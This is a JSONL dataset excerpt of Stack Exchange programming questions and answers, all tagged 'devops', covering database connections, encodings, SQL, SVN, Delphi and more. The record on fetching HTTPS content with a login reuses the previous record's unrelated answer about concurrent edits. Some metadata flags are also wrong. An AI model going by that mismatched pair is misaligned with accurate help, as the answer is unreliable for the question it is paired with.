Map\"=hex:00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.858148"}
{"id": "hf_fd4979f436a7", "question": "<p>I'm trying to understand the best way to get the connection to my databases.</p>\n\n<p>At the moment I've got a method which parses the URL (depending on the URL called the application has to connect to a different database, like customer1.example.com will connect to the customer1 database) and calls </p>\n\n<pre><code>ActiveRecord::Base.establish_connection(conn_string)\n</code></pre>\n\n<p>where conn_string contains the name of the database.</p>\n\n<p>This method (set_db) is called with a</p>\n\n<pre><code>before_filter :set_db\n</code></pre>\n\n<p>in my Application controller, so basically for each request I get, the URL is parsed and the application try to do an establish_connection. </p>\n\n<p>I was wondering if I can have a connection pool somewhere....do you have any suggestion about that? Is it better to have a Singleton which keep all the connections made and gives back the right one?</p>\n\n<p>Thanks!\nRoberto</p>\n", "question_body": "", "answer": "I'm not a Ruby programmer, but generally speaking a connection pool is a good idea. You can make that connection pool a singleton and hand out/take back connections. The pool can check after taking back a connection whether everything is still in order.\nYou should have a distinct life cycle and ownership for each connection so two threads don't use a connection at the same time.\nBe careful with temporary tables because they belong to one database session. We've had a bug where in high load situations we encountered weird errors. Finally we remembered that we were using temporary tables in our application. In the high load situation database connections broke down and were automatically regenerated by the connection object without the application code knowing it (we had implemented the reconnect, but forgot that it was a problem in such a situation). The temporary table we wanted to read had disappeared.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.881465"}
{"id": "hf_62ab14fd045a", "question": "<p>I have an application which is supposed to work on both windows and Mac and is localized in Portuguese, Spanish and German. I have an ini file from where the localized strings are read from. But the ini file doesn't work with same encoding for the files on both platforms. For Windows I have to have the file in ANSI format or else the accented letters in the localized strings get messed up and on the Mac the same file should be in Western( Mac OS) encoding or else the same result. Is there any way I can get a single file to work on both platforms?</p>\n", "question_body": "", "answer": "(1) There is no such thing as\nthe\nANSI format. That's an unfortunate term for what on Windows means \"the local codepage\". In particular, this means that in Europe the interpretation of bytes 128-255 as \"ANSI format\" will differ between countries. So, I am strongly inclined to argue that it won't even work on your first platform, let alone both.\nThe solution you will eventually migrate to is Unicode. That works everywhere, with all characters, and the number of a character does not depend on the country or the current date (See introduction of €).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.918024"}
{"id": "hf_44c1db6336f9", "question": "<p>Given a SCHEMA for implementing tags</p>\n\n<p>ITEM\nItemId, ItemContent</p>\n\n<p>TAG\nTagId, TagName</p>\n\n<p>ITEM_TAG\nItemId, TagId</p>\n\n<p>What is the best way to limit the number of ITEMS to return when selecting with tags?</p>\n\n<pre><code>SELECT i.ItemContent, t.TagName FROM item i \nINNER JOIN ItemTag it ON i.id = it.ItemId \nINNER JOIN tag t ON t.id = it.TagId \n</code></pre>\n\n<p>is of course the easiest way to get them all back, but using a limit clause breaks down, because you get an duplicate of all the items for each tag, which counts toward the number of rows in LIMIT.</p>\n", "question_body": "", "answer": "Maybe something like\n```\n```\nselect i.ItemContent, t.TagName from (SELECT ItemId, ItemContent FROM item limit 10) i\nINNER JOIN ItemTag it ON i.ItemId = it.ItemId --You will miss tagless items here!\nINNER JOIN tag t ON t.id = it.TagId\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.941786"}
{"id": "hf_6dd60630c196", "question": "<p>I changed the MembershipProvider in my ASP.net MVC website, and now the stylesheet for the login page isn't referenced correctly. Below is a copy of the forms tag in my web.config if that could be the reason. It looks identical though to the one generated by a new project with the exception of the name and timeout attribute.</p>\n\n<pre><code>&lt;authentication mode=\"Forms\"&gt;\n      &lt;forms loginUrl=\"~/Account/Login\" name=\".ADAuthCookie\" timeout=\"10\" /&gt;\n&lt;/authentication&gt;\n</code></pre>\n\n<p>When I visit the page now, the link tag for the CSS looks like this:</p>\n\n<pre><code>&lt;link href=\"../Content/Site.css\" rel=\"stylesheet\" type=\"text/css\" /&gt;\n</code></pre>\n\n<p>When it <em>should</em> look like this:</p>\n\n<pre><code>&lt;link href=\"../../Content/Site.css\" rel=\"stylesheet\" type=\"text/css\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "I haven't used ASP.NET MVC yet myself, but you could try using\nResolveClientUrl\nwhen writing out the href for your CSS:\n```\n```\n<link href=\"<%= ResolveClientUrl(\"../../content/Site.css\") %> rel=\"stylesheet\" type=\"text/css\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:30.978641"}
{"id": "hf_286467bb5b8e", "question": "<p>Having recently discovered this method of development, I'm finding it a rather nice methodology. So, for my first project, I have a small DLL's worth of code (in C#.NET, for what it's worth), and I want to make a set of tests for this code, but I am a bit lost as to how and where to start.</p>\n\n<p>I'm using NUnit, and VS 2008, any tips on what sort of classes to start with, what to write tests for, and any tips on generally how to go about moving code across to test based development would be greatly appreciated.</p>\n", "question_body": "", "answer": "See the book\nWorking Effectively with Legacy Code\nby Michael Feathers.\nIn summary, it's a lot of work to refactor existing code into testable and tested code; Sometimes it's too much work to be practical. It depends on how large the codebase is, and how much the various classes and functions depend upon each other.\nRefactoring without tests will introduce changes in behaviour (i.e. bugs). And purists will say it's not really refactoring because of the lack of tests to check that the behaviour doesn't change.\nRather than adding test across the board to your whole application at once, add tests when  you work in an area of code. Most likely you'll have to return to these \"hotspots\" again.\nAdd tests from the bottom up: test little, independent classes and functions for correctness.\nAdd tests from the top down: Test whole subsystems as black boxes to see if their behaviour changes with changes in code. And so you can step through them to find out what's going on. This approach will probably get you the most benefit.\nDon't be too concerned at first with what the \"correct\" behaviour is while you are adding tests, look to detect and avoid changes in behaviour. Large, untested systems often have internal behaviours that may seem incorrect, but that other parts of the system depend on.\nThink about isolating dependencies such as database, filesystem, network, so that they can be swapped out for mock data providers during testing.\nIf the program doesn't have internal interfaces, lines which define the boundary between one subsystem/layer and another, then you may have to try to introduce these, and test at them.\nAlso, automatic mocking frameworks like\nRhinomocks\nor\nMoq\nmight help mock existing classes here. I haven't really found the need for them in code designed for testability.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.003838"}
{"id": "hf_8a19d37aab28", "question": "<p>What is the the best of detecting and later altering the screen resolution and multiple desktop within .net</p>\n\n<p>I have a small app that while runs at work on my multiple monitor/high(ish) resolution however what I want to be able to detect is the users primary monitor and set the application to that (main objective) and adjust the resolution to ensure the application fits(more for my own curiosity) </p>\n", "question_body": "", "answer": "I would never suggest altering a user's resolution unless you're doing something like a full-screen game, you can use\n```\n```\nSystem.Windows.Forms.Screen.PrimaryScreen\n```\n```\nto give you metrics about that main monitor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.028519"}
{"id": "hf_f819ea4b11b2", "question": "<p>This is really only easy to explain with an example, so to remove the intersection of a list from within a dict I usually do something like this:</p>\n\n<pre><code>a = {1:'', 2:'', 3:'', 4:''}\nexclusion = [3, 4, 5]\n\n# have to build up a new list or the iteration breaks\ntoRemove = []\nfor var in a.iterkeys():\n    if var in exclusion:\n        toRemove.append(var)\n\nfor var in toRemove:\n    del a[var]\n</code></pre>\n\n<p>This might seem like an unusual example, but it's surprising the number of times I've had to do something like this. Doing this with sets would be much nicer, but I clearly want to retain the 'values' for the dict.</p>\n\n<p>This method is annoying because it requires two loops and an extra array. Is there a cleaner and more efficient way of doing this.</p>\n", "question_body": "", "answer": "Consider\ndict.pop\n:\n```\n```\nfor key in exclusion:\n     a.pop(key, None)\n```\n```\nThe\n```\nNone\n```\nkeeps pop from raising an exception when\n```\nkey\n```\nisn't a key.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.100876"}
{"id": "hf_2a5ae28cd644", "question": "<p>What is the functional programming approach to convert an <code>IEnumerable&lt;string&gt;</code> to a delimited string?  I know I can use a loop, but I'm trying to wrap my head around functional programming.  </p>\n\n<p>Here's my example:            </p>\n\n<pre><code>var selectedValues =\nfrom ListItem item in checkboxList.Items\nwhere item.Selected\nselect item.Value;\n\nvar delimitedString = ??\n</code></pre>\n\n<p>.. or could I do this in just the first var assignment (append each result to the previous)?</p>\n", "question_body": "", "answer": "```\n```\nstring.Join(\", \", string[] enumerable)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.125610"}
{"id": "hf_489ecb88d0a5", "question": "<p>Is there a PHP module that you can use to programmatically read a torrent to find out information about it, Seeders for instance?</p>\n", "question_body": "", "answer": "Google comes up with this\nPHP client\non sourceforge and\nthis torrent class\non PHP classes. Should be all you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.239489"}
{"id": "hf_5aded5cf612d", "question": "<p>So I want to start using RSpec stories, but I am not sure where writing controller, model and view specs fit in. </p>\n\n<p>For example, you have the story \"Logging in\" with \"User provides wrong password\" scenario, don't you end up testing the same stuff than controller/model specs (response.should render..., user.should be_nil, etc.)</p>\n\n<p>So my question is: for those who are used to doing bdd (or story dd) with RoR, do you still write model/controller specs? If so, how is the workflow you follow (\"first story, then narrow to specific specs\")?</p>\n", "question_body": "", "answer": "If you are starting with stories now (as opposed to having a lot of legacy stories) you may want to look at\nCucumber\nwhich is the long term replacement for the RSpec story runner.\nThe easiest way of splitting between specs and stories is to use stories for full-stack testing of business requirements and specs for isolated low-level specifications of the components (views, helpers, controllers and models). 'Full stack' can a range from controller/model/database through client simulation with Webrat to in-browser testing with Watir or Selenium.\nThe ultimate 'outside in' BDD way of doing things is to start with stories based on customer requirements and then add in specs for the components you find you need when implementing the stories. Ideally you will fully cover the individual components with specs and have stories for the most important workflows of your users so you can check at the highest level that your app is delivering the functionality you have been asked for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.263628"}
{"id": "hf_a0c6728b167a", "question": "<p>I have a variable of type Number, and i like to obtain the sign (if is '-' i like to have -1 and if '+' i like to have 1). So, i made this:</p>\n\n<pre><code>var sign = Math.abs(n) / n;\n</code></pre>\n\n<p>But, there is any other way? Better than this?</p>\n", "question_body": "", "answer": "You'll be in trouble if n == 0... how about this:\n```\n```\nvar sign = n < 0 ? -1 : 1;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.288134"}
{"id": "hf_7f7acae351a5", "question": "<p>Is there a way to configure a Visual Studio 2005 Web Deployment Project to install an application into a named Application Pool rather than the default app pool for a given web site?</p>\n", "question_body": "", "answer": "There is a good article describing custom actions here:\nScottGu's Blog\nThe question you asked is answered about halfway through the comments by 'Ryan', unfortunately it's in VB, but it shouldn't be hard to translate:\n```\n```\nPrivate Sub assignApplicationPool(ByVal WebSite As String, ByVal Vdir As String, ByVal appPool As String)\n   Try\n     Dim IISVdir As New DirectoryEntry(String.Format(\"IIS://{0}/W3SVC/1/Root/{1}\", WebSite, Vdir))\n     IISVdir.Properties.Item(\"AppPoolId\").Item(0) = appPool\n     IISVdir.CommitChanges()\n   Catch ex As Exception\n     Throw ex\n   End Try\n End Sub\n\n Private strServer As String = \"localhost\"\n Private strRootSubPath As String = \"/W3SVC/1/Root\"\n Private strSchema As String = \"IIsWebVirtualDir\"\n Public Overrides Sub Install(ByVal stateSaver As IDictionary)\n   MyBase.Install(stateSaver)\n   Try\n     Dim webAppName As String = MyBase.Context.Parameters.Item(\"TARGETVDIR\").ToString\n     Dim vdirName As String = MyBase.Context.Parameters.Item(\"COMMONVDIR\").ToString\n     Me.assignApplicationPool(Me.strServer, MyBase.Context.Parameters.Item(\"TARGETVDIR\").ToString, MyBase.Context.Parameters.Item(\"APPPOOL\").ToString)\n   Catch ex As Exception\n     Throw ex\n   End Try\n End Sub\n```\n```\n...Where APPPOOL is supplied as an argument in the Custom Action.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.312854"}
{"id": "hf_b7ac76cf2f08", "question": "<pre><code>rsync -auve ssh --backup --suffix='2008-10-03-1514539' --backup-dir='/tmp/' module.pm root@web1:/path/to/module.pm\n</code></pre>\n\n<p>I run this command without the --backup-dir option and when it copies the file over, it creates a backup with a current timestamp. When I include the --backup-dir option, it makes the backup into the /tmp/ directory but never attaches my suffix. </p>\n\n<p>There is nothing in the <a href=\"http://samba.anu.edu.au/ftp/rsync/rsync.html\" rel=\"nofollow noreferrer\">manual</a> to suggest that you can't use both these options together. I've played around with the order also and nothing seems to fix it.</p>\n\n<p>Does anyone have a solution to this?</p>\n", "question_body": "", "answer": "the manual says:\n--backup                make backups (see --suffix & --backup-dir)\n--backup-dir=DIR        make backups into hierarchy based in DIR\n--suffix=SUFFIX         backup suffix (default ~ w/o --backup-dir)\nso it seems that you can use one or the other, not both (as I guess you want a way to determine what's a backup you use a suffix or a directory).\nAs a way to fix this, why don't you keep the suffix and modify the destination to include the backup directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.337941"}
{"id": "hf_75add919067e", "question": "<p>How do I stop a function/procedure in a superclass from been overridden in a subclass in Delphi (2007)?</p>\n\n<p>I want to mark it so it can not be altered, I believe there is a final keyword but can not for the life of me find the documentation for it, so I am not 100% sure that's what I need.</p>\n", "question_body": "", "answer": "The keyword is\n```\nfinal\n```\nas you thought. See\nhttp://dn.codegear.com/article/34324\nand\nhttp://blogs.teamb.com/rudyvelthuis/2005/05/13/4311\n. Also you can mark your class as sealed to prevent anyone from inheriting from it. You need a Delphi version higher than 7.\n```\n```\ntype\n  TSomeClass = class\n  protected\n    procedure SomeVirtualMethod; virtual;\n  end;\n\n  TOtherClass = class(TSomeClass)\n  protected\n    procedure SomeVirtualMethod; override; final;\n  end;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.386991"}
{"id": "hf_5ece86e16dfb", "question": "<p>Is there a better way to watch for new entries in a table besides selecting from it every n ticks of time or something like that?</p>\n\n<p>I have a table that an external program updates very often, and clients can watch for this new data as it arrive, how can I make that without having to set a fixed period of repeatable select statements?</p>\n", "question_body": "", "answer": "Here's what I do:\nI've got some triggers set up for the table (insert, delete, update) and those triggers increment a counter in another table.  My DB access code keeps a local counter and compares it to the returned value, ultimately sending a bool back to the caller, answering the question IsDataCurrent().\nOur programs that use this DB access code either poll or check it on-request and then make the appropriate calls to keep themselves up to date.\nI'm sure there are other ways to solve this.  It worked for me pretty well, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.412010"}
{"id": "hf_af877e6b99c6", "question": "<p>If two users are accessing same database table, how do we prevent users from overwriting each other’s data?</p>\n", "question_body": "", "answer": "There is no straightforward way to do that. You could use transactions to make sure that updates are resolved correctly (i.e. that you do not get partial updates) but you would probably lose the first set of changes as it will be overwritten by the second.\nTwo options you probably have are:\nimplement some locking mechanism on the application level (i.e. when someone start editing a record put some flag somewhere which would prevent another user from doing the same)\nimplement version control so each time someone writes to the database a\nnew\nrecord is created. This way both sets of data will be in the database and you could have a logic in your application to merge them or select the one you like", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.447877"}
{"id": "hf_cf9d3cd2b70d", "question": "<p>I have a https link that requires user login &amp; password. If I run it in FX like this:\n<a href=\"https://usernameassword@www.example.com/link/sublink\" rel=\"nofollow noreferrer\">https://usernameassword@www.example.com/link/sublink</a></p>\n\n<p>it will return the xml data as expected.</p>\n\n<p>However, what i'm trying to do, is to automate this process.\nI try to use <a href=\"http://php.net/manual/en/function.file-get-contents.php\" rel=\"nofollow noreferrer\">file_get_contents()</a> in PHP.</p>\n\n<p>I even tried to use AJAX, but still doesn't work.</p>\n\n<p>I tried to get the content (XML) either in Server or in the front-end (ajax), but both don't work.</p>\n\n<p>Does anyone know what I need to go in order to get the content? Do I need to obtain the SSL certificate? </p>\n\n<p>Solution in any ohter languages will be welcome too.</p>\n", "question_body": "", "answer": "There is no straightforward way to do that. You could use transactions to make sure that updates are resolved correctly (i.e. that you do not get partial updates) but you would probably lose the first set of changes as it will be overwritten by the second.\nTwo options you probably have are:\nimplement some locking mechanism on the application level (i.e. when someone start editing a record put some flag somewhere which would prevent another user from doing the same)\nimplement version control so each time someone writes to the database a\nnew\nrecord is created. This way both sets of data will be in the database and you could have a logic in your application to merge them or select the one you like", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.472895"}
{"id": "hf_5e7c09d05143", "question": "<p>In my Winforms application, I want to export the data from my DataGridView to a Excel spreadsheet.</p>\n\n<p>Is it simply a job of looping and outputting the results comma seperated?</p>\n", "question_body": "", "answer": "Is it simply a job of looping and outputing the results comma seperated?\nYes. It is a simpler way without any dependencies.\nIf you need more control, you can always automate excel from\nvb.net\nor from\nC#\n..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.497163"}
{"id": "hf_d8ca897f6f54", "question": "<p>I'm trying to achieve the last possible time of a particular day eg for Date of 2008-01-23 00:00:00.000 i would need 2008-01-23 23:59:59.999 perhaps by using the dateadd function on the Date field?</p>\n", "question_body": "", "answer": "```\n```\nSELECT DATEADD(ms, -2, DATEADD(dd, 1, DATEDIFF(dd, 0, GetDate())))\n```\n```\nI thought you had c# at first.. I will leave this here in case anyone else stumbles across this.\n```\n```\nDateTime now = DateTime.Now;\nDateTime endofDay = now.Date.AddDays(1).AddMilliseconds(-1);\n```\n```\nYou can replace the 'now' variable with whatever day you are trying to figure out", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.545591"}
{"id": "hf_a0ecd9b12757", "question": "<p>I just want to see what files were modded/added/deleted between 2 arbitrary revisions. How do I do this?</p>\n\n<p>Can I do this in tortoise as well?</p>\n", "question_body": "", "answer": "```\n```\nsvn log -v -rX:Y .\n```\n```\nThe -v for \"verbose\" switch will give you detailed output on which files were affected on that revision.\nNote that \".\" assumes you are currently in a working copy directory, but you can also use a URL such as \"\nhttp://svn.myawesomesoftwareproject.com/trunk/lib/foo.c\n\".\nThis information can be found by typing \"svn help log\", or by reading the\nSVN Book\n, available free online.  Don't forget to\nR\nead\nT\nhe\nF\nriendly\nM\nanual!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.619008"}
{"id": "hf_959c052bfb3c", "question": "<p>I have a \"Date of Birth\" field, and trying to use the <code>timespan()</code> method to get the age in years. But returns \"28 Years, 2 Months, 2 Weeks, 3 Days, 15 Hours, 16 Minutes\".</p>\n\n<p>Any idea how I can just get the \"28 Years\" portion?</p>\n", "question_body": "", "answer": "There are many ways to do this, with the string in $date, like so:\n```\n```\n$date = '28 Years, 2 Months, 2 Weeks, 3 Days, 15 Hours, 16 Minutes';\n```\n```\nThis will give you \"28 Years\"\n```\n```\n$yearsPart = substr($date, 0, strpos($date, 'Years') + 5);\n```\n```\nSo will this:\n```\n```\n$parts = split(', ', $date);\n$yearsPart = $parts[0];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.690414"}
{"id": "hf_fe7ed1580003", "question": "<p>We are migrationg from CVS to SVN and embracing some kind of revision management in order to enforce order to development/testing/release cycle. We are currently testing, developing and releasing on the same code line, we know its a bad practice and we want to make end to it.</p>\n\n<p>What are your experience, know how, suggestions working with source code tree.</p>\n\n<p>We are building small/average (2-5 months) custom projects and we have to give early access to customer for review. Requirement creep is common.</p>\n\n<p>EDIT:\nplease note, i need not only advice on subversion, but more on how whole devel/test/deploy cycle is reflected in trunk/branches/tags/versions etc</p>\n", "question_body": "", "answer": "\"Branch early, branch often.\"\nAll builds should be completely reproducible without having to pour through logs (consider tagging every build)\nIf you use an issue tracker then require all check-ins to have a (valid) issue ID included in the commit message (add a pre-hook to check this).\nOnly the build team should be allowed to make production branches (developers should be encouraged to make personal branches for any non-trivial task)\nBuild continuously and ensure that everyone is aware that breaking the build is a big deal.\nRead the whole SVN book, then read it again. You need to know this tool backwards and forwards. Hold training sessions for your developers (\"how to create a temporary branch for my work\", \"how to merge\", etc).\n... There is an lack of good reading on this subject, but if I had to recommend one book to a shop completely green in SCM it would be \"The Build Master\" by Vincent Maraia. It's very short on details but easy to read and provides a (very very brief) overview of SCM good-ideas that make great sense once you know them but which for some reason so many shops completely lack.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.715060"}
{"id": "hf_3a955363b456", "question": "<p>On POSIX systems rename(2) provides for an atomic rename operation, including overwriting of the destination file if it exists and if permissions allow.</p>\n\n<p>Is there any way to get the same semantics on Windows? I know about MoveFileTransacted() on Vista and Server 2008, but I need this to support Win2k and up.</p>\n\n<p>The key word here is <em>atomic</em>... the solution must not be able to fail in any way that leaves the operation in an inconsistent state.</p>\n\n<p>I've seen a lot of people say this is impossible on win32, but I ask you, is it really? </p>\n\n<p>Please provide reliable citations if possible.</p>\n", "question_body": "", "answer": "you still have the rename() call on Windows, though I imagine the guarantees you want cannot be made without knowing the filesystem you're using - no guarantees if you're using FAT for instance.\nHowever, you can use MoveFileEx and use the MOVEFILE_REPLACE_EXISTING\n and MOVEFILE_WRITE_THROUGH options. The latter has this description in MSDN:\nSetting this value guarantees that a\n  move performed as a copy and delete\n  operation is flushed to disk before\n  the function returns. The flush occurs\n  at the end of the copy operation.\nI know that's not necessarily the same as a rename operation, but I think it might be the best guarantee you'll get - if it does that for a file move, it should for a simpler rename.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.740189"}
{"id": "hf_fe50c809aa51", "question": "<p>Hi I want to have two tables each have an INT \"id\" column which will auto-increment but I don't want either \"id\" columns to ever share the same number. What is this called and what's the best way to do it? Sequence? Iterator? Index? Incrementor?</p>\n\n<p>Motivation: we're migrating from one schema to a another and have a web-page that reads both tables and shows the (int) ID, but I can't have the same ID used for both tables.</p>\n\n<p>I'm using SQL Server 9.0.3068.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I think using a\nGUID\nwould be the most straightforward way, if I understand you correctly.\n```\n```\nSELECT NEWID()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.764781"}
{"id": "hf_370160e10807", "question": "<p>What's the best way to go about creating a vertical and horizontal ruler bars in an SDI app?  Would you make it part of the frame or the view?  Derive it from CControlBar, or is there a better method?</p>\n\n<p>The vertical ruler must also be docked to a pane and not the frame.</p>\n\n<p>To make it a little clearer as to what I'm after, imagine the vertical ruler in the Dialog Editor in Visual Studio (MFC only). It gets repositioned whenever the tree view is resized.</p>\n", "question_body": "", "answer": "I would\nnot\nuse control bars. I have no good reason other then (IMOHO) are difficult to get to do what you want - if what you want if something other than a docking toolbar.\nI would just draw them directly on the View window using GDI calls.\nI guess I\nmight\nthink about making each ruler its own window, and draw the rulers on their own window. I would then create these two CWnd derived classes in the view and position as child windows. This is good if you want to interact with the mouse on these rulers (easier to sort out what messages are for the rulers).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.801869"}
{"id": "hf_c05b6f61d3cc", "question": "<p>Example</p>\n\n<p>G76 I0.4779 J270 K7 C90</p>\n\n<p>X20 Y30 </p>\n\n<p>If a number begins with I J K C X Y and it doesn't have a decimal then add decimal.\nAbove example should look like:</p>\n\n<p>G76 I0.4779 J270 K7. C90.</p>\n\n<p>X20. Y30.</p>\n\n<p>Purpose of this code is to convert CNC code for an older Fanuc OPC controller</p>\n", "question_body": "", "answer": "```\n```\n```\nSet RegEx = New RegExp\nRegEx.Global = True\nRegEx.Pattern = \"([IJKCXY]\\d+)([^\\.]|$)\"\nnewVar = RegEx.Replace (oldString, \"$1.$2\")\n```\n```\n```\nWhere oldString is the original string, and newVar is the string with the decimals added.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.826986"}
{"id": "hf_075b1ad13c34", "question": "<p>I've evaluated some plugins from official IntelliJ repository, but none of them seems to provide more then basic syntax highlighting. Even highlighting is limited. For example, Database Navigator doesn't highlight IF. It would be great to have proper highlighting. And if it would have auto-complete feature and provide file structure view I would be completely happy. \nI use SQL Query Plugin when I need to post some little stuff to database or to query something from it. I use PL/SQL Developer when I need to make more complex things, or when I need to modify PL/SQL. But most of the time I need to navigate through mix of Java, JavaScript and PL/SQL code. Unfortunately, SQL Query Plugin doesn't help with that as well as PL/SQL Developer.</p>\n", "question_body": "", "answer": "Have you tried\nSQL Query Plugin\n? It comes with a great host of features, including multiple query windows, direct editing of tables, and of course, proper highlighting for PL/SQL syntax and a browser of the internal database structure.\nIt also integrates well with the main editor: you can right-click on any selected Java string containing SQL and \"Send to SQLPlugin\" to strip out all of the quotes and non-SQL syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.864424"}
